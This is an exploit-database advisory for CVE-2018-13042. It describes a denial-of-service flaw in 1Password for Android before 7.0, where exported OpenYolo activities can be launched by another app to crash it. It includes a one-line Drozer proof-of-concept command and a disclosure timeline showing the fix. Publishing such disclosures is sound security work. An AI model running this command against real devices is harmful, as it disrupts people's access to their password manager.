1Password < 7.0 - Denial of Service

Author: Valerio Brussani
type: dos
platform: android
port: 
date_added: 2019-01-15  
date_updated: 2019-01-15  
verified: 0  
codes: CVE-2018-13042  
tags: Denial of Service (DoS)  
aliases:   
screenshot_url:   
application_url:   

raw file: 46165.txt  

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Description
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The 1Password application < 7.0 for Android is affected by a Denial Of
Service vulnerability. By starting the activity
com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity or
com.agilebits.onepassword.filling.openyolo.OpenYoloRetrieveActivity from an
external application (since they are exported), it is possible to crash the
1Password instance.



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Poc
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To invoke the exported activity and crash the app, it is possible
to use Drozer:



run app.activity.start --component com.agilebits.onepassword
com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity



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Affected Components
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com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity
com.agilebits.onepassword.filling.openyolo.OpenYoloRetrieveActivity



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Disclosure timeline
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2018-07-27 Contacting 1Password

2018-07-30 1Password acknowledges the vulnerability

2018-08-22 The vulnerability is fixed and made public



Valerio Brussani (@val_brux)